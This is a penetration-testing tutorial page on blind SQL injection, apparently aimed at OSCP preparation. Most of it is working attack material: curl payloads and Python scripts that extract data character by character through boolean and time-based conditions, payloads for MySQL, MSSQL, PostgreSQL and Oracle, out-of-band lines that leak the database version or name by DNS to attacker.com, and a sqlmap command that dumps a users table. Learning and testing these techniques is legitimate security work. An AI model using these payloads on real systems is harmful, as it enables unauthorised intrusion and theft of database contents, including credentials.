# Blind SQL Injection Exploitation

- **URL:** https://hackindex.io/services/web/exploitation/sql-injection/blind-sqli
- **Path:** HTTP/HTTPS > Exploitation > SQL Injection Exploitation
- **Up:** [SQL Injection Exploitation](https://hackindex.io/services/web/exploitation/sql-injection.md)
- **Published:** 2026-03-28
- **Updated:** 2026-03-28

Blind SQL injection extracts data without seeing query results in the response. Boolean-based blind compares response differences between true and false conditions to infer data one character at a time. Time-based blind uses sleep delays when no response difference exists at all. Both are slow manually but scriptable. [sqlmap](https://hackindex.io/services/web/exploitation/sql-injection/sqlmap-usage) automates the extraction when allowed. If error messages are visible, [error-based extraction](https://hackindex.io/services/web/exploitation/sql-injection/error-based-sqli) is faster. See the [SQL injection hub](https://hackindex.io/services/web/exploitation/sql-injection) for technique selection.

Blind SQL injection extraction methods compared:

- **Boolean-based**: compares response size or content between true/false conditions, faster than time-based, requires a visible response difference
- **Time-based**: uses conditional delays (SLEEP, WAITFOR, pg_sleep), works when no response difference exists, significantly slower
- **Out-of-band (OOB)**: exfiltrates data via DNS or UNC callbacks, useful when neither boolean nor time-based works
- **sqlmap automation**: handles all techniques automatically, not permitted on OSCP

## Boolean-Based Blind Extraction

With a confirmed boolean blind condition, extract data by testing one character at a time using SUBSTRING and comparing response size:

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?id=1 AND SUBSTRING(version(),1,1)='5'--" | wc -c
# 4823
```

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?id=1 AND SUBSTRING(version(),1,1)='8'--" | wc -c
# 612
```

The larger response for the true condition (version starts with 5) confirms boolean extraction works. Script the extraction to pull the full database version:

```python
import requests, string

TARGET = f'http://$TARGET_IP:$PORT/index.php'
TRUE_SIZE = 4823  # size of a true condition response

def extract_char(position, query):
    for char in string.printable:
        payload = f"1 AND SUBSTRING(({query}),{position},1)='{char}'--"
        r = requests.get(TARGET, params={'id': payload})
        if len(r.content) == TRUE_SIZE:
            return char
    return None

result = ''
for i in range(1, 20):
    char = extract_char(i, 'SELECT version()')
    if not char:
        break
    result += char
    print(f'Version so far: {result}')

print(f'Final: {result}')
```

## Binary Search Optimization

The linear script above tests each printable character one at a time, up to 95 requests per character in the worst case. Binary search on ASCII values cuts this to 7 requests per character. Instead of testing `= 'a'`, `= 'b'`, `= 'c'`, compare the ASCII value against the midpoint of the remaining range and halve it each time.

For a 20-character string, linear search needs up to 1900 requests. Binary search needs 140. The difference is significant on time-based blind where each request takes seconds.

```python
import requests

TARGET = f'http://$TARGET_IP:$PORT/index.php'
TRUE_SIZE = 4823

def extract_char_binary(position, query):
    low, high = 32, 126
    while low < high:
        mid = (low + high) // 2
        payload = f"1 AND ASCII(SUBSTRING(({query}),{position},1))>{mid}--"
        r = requests.get(TARGET, params={'id': payload})
        if len(r.content) == TRUE_SIZE:
            low = mid + 1
        else:
            high = mid
    return chr(low) if low > 32 else None

result = ''
for i in range(1, 50):
    char = extract_char_binary(i, 'SELECT version()')
    if not char:
        break
    result += char
    print(f'[{i}] {result}')
```

The same binary search logic applies to time-based extraction. Replace the response size check with a response time threshold:

```python
import requests, time

TARGET = f'http://$TARGET_IP:$PORT/index.php'
DELAY = 2
THRESHOLD = 1.5

def extract_char_time(position, query):
    low, high = 32, 126
    while low < high:
        mid = (low + high) // 2
        payload = f"1 AND IF(ASCII(SUBSTRING(({query}),{position},1))>{mid},SLEEP({DELAY}),0)--"
        start = time.time()
        requests.get(TARGET, params={'id': payload})
        elapsed = time.time() - start
        if elapsed > THRESHOLD:
            low = mid + 1
        else:
            high = mid
    return chr(low) if low > 32 else None
```

## Time-Based Extraction

When no response size difference exists, use conditional delays. Each character check either sleeps or does not, based on whether the condition is true:

**MySQL: IF + SLEEP**

```bash
time curl -sk "http://$TARGET_IP:$PORT/index.php?id=1 AND IF(SUBSTRING(user(),1,4)='root',SLEEP(3),0)--"
# real    0m3.121s
```

A 3-second delay confirms the condition is true: the database user starts with root. Combine with binary search on ASCII values to extract data efficiently:

```bash
time curl -sk "http://$TARGET_IP:$PORT/index.php?id=1 AND IF(ASCII(SUBSTRING(user(),1,1))>64,SLEEP(2),0)--"
# real    0m2.098s
```

The 2-second delay confirms ASCII value > 64. Next test > 96 to narrow further. Seven iterations resolves any printable character.

## Multi-Database Blind Payloads

The MySQL examples above use `SUBSTRING()`, `IF()`, and `SLEEP()`. Other databases use different functions for the same logic.

### MSSQL

MSSQL boolean blind works with `SUBSTRING()` and `CASE WHEN`. Time-based uses `WAITFOR DELAY` through stacked queries. The `WAITFOR` approach requires the driver to support query stacking (PDO/ODBC does, most .NET drivers do).

**MSSQL boolean blind**

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?id=1 AND (SELECT CASE WHEN SUBSTRING(DB_NAME(),1,1)='w' THEN 1 ELSE 0 END)=1--" | wc -c
# 4823
```

**MSSQL time-based blind (stacked)**

```bash
time curl -sk "http://$TARGET_IP:$PORT/index.php?id=1;IF(SUBSTRING(DB_NAME(),1,1)='w') WAITFOR DELAY '0:0:3'--"
# real    0m3.205s
```

### PostgreSQL

PostgreSQL boolean blind uses `SUBSTRING()` the same way. Time-based uses `pg_sleep()`. PostgreSQL natively supports stacked queries through most drivers, making `pg_sleep()` widely available.

**PostgreSQL boolean blind**

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?id=1 AND (SELECT CASE WHEN SUBSTRING(current_user,1,1)='p' THEN 1 ELSE 0 END)=1--" | wc -c
# 4823
```

**PostgreSQL time-based blind (stacked)**

```bash
time curl -sk "http://$TARGET_IP:$PORT/index.php?id=1;SELECT CASE WHEN SUBSTRING(current_user,1,1)='p' THEN pg_sleep(3) ELSE pg_sleep(0) END--"
# real    0m3.187s
```

### Oracle

Oracle boolean blind uses `SUBSTR()` (not SUBSTRING). Time-based uses `DBMS_PIPE.RECEIVE_MESSAGE()` which blocks for the specified number of seconds when called. This requires the EXECUTE privilege on `DBMS_PIPE`, which is granted to PUBLIC by default on many Oracle installations.

**Oracle boolean blind**

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?id=1 AND (SELECT CASE WHEN SUBSTR(user,1,1)='S' THEN 1 ELSE 0 END FROM dual)=1--" | wc -c
# 4823
```

**Oracle time-based blind**

```bash
time curl -sk "http://$TARGET_IP:$PORT/index.php?id=1 AND (SELECT CASE WHEN SUBSTR(user,1,1)='S' THEN DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),3) ELSE 0 END FROM dual)>=0--"
# real    0m3.342s
```

If `DBMS_PIPE` is not available, use a heavy query as an alternative delay mechanism. Cross-joining `all_objects` with itself generates a slow query, though the delay varies with database size:

**Oracle heavy query fallback**

```bash
time curl -sk "http://$TARGET_IP:$PORT/index.php?id=1 AND (SELECT CASE WHEN SUBSTR(user,1,1)='S' THEN (SELECT COUNT(*) FROM all_objects a,all_objects b WHERE ROWNUM<=10000) ELSE 0 END FROM dual)>=0--"
# real    0m4.715s
```

## Out-of-Band (OOB) Extraction

When neither boolean nor time-based works (response is identical and WAF blocks delays), out-of-band exfiltration sends data through DNS or UNC path lookups to an attacker-controlled server. This requires the database server to make outbound connections. Set up a DNS listener or use a Burp Collaborator/interactsh instance to catch callbacks.

**MySQL OOB via LOAD_FILE (Windows only)**

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?id=1 AND LOAD_FILE(CONCAT('\\\\',version(),'.attacker.com\\a'))--"
```

This forces a UNC path lookup to `<version>.attacker.com`, leaking the version string through DNS. Requires FILE privilege and only works when MySQL runs on Windows (UNC paths are a Windows concept). On Linux MySQL, this path is not available.

**MSSQL OOB via xp_dirtree (stacked)**

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?id=1;DECLARE @d varchar(100);SET @d=CONVERT(varchar,DB_NAME())+'.attacker.com';EXEC master..xp_dirtree @d--"
```

`xp_dirtree` makes a UNC/DNS request, leaking the database name through a DNS lookup to `<dbname>.attacker.com`. The data ends up as a DNS subdomain, so keep extracted values short (no spaces or special characters). For longer values, extract one substring per request. This works on both Windows and Linux MSSQL instances. Monitor with `tcpdump -ni any port 53` or an interactsh client on the attacker machine.

## Automating Extraction with sqlmap

For full credential dumps from blind injection, sqlmap handles the extraction automatically:

> [!CAUTION]
> `sqlmap` is prohibited in the OSCP exam. Do not use during exam environments.

```bash
sqlmap -u "http://$TARGET_IP:$PORT/index.php?id=1" --batch --technique=BT --dump -T users -D webapp
```

## References

- [PortSwigger: Blind SQL Injection](https://portswigger.net/web-security/sql-injection/blind) - Boolean and time-based extraction methodology
- [interactsh](https://github.com/projectdiscovery/interactsh) - Open-source OOB interaction server for DNS and HTTP callbacks
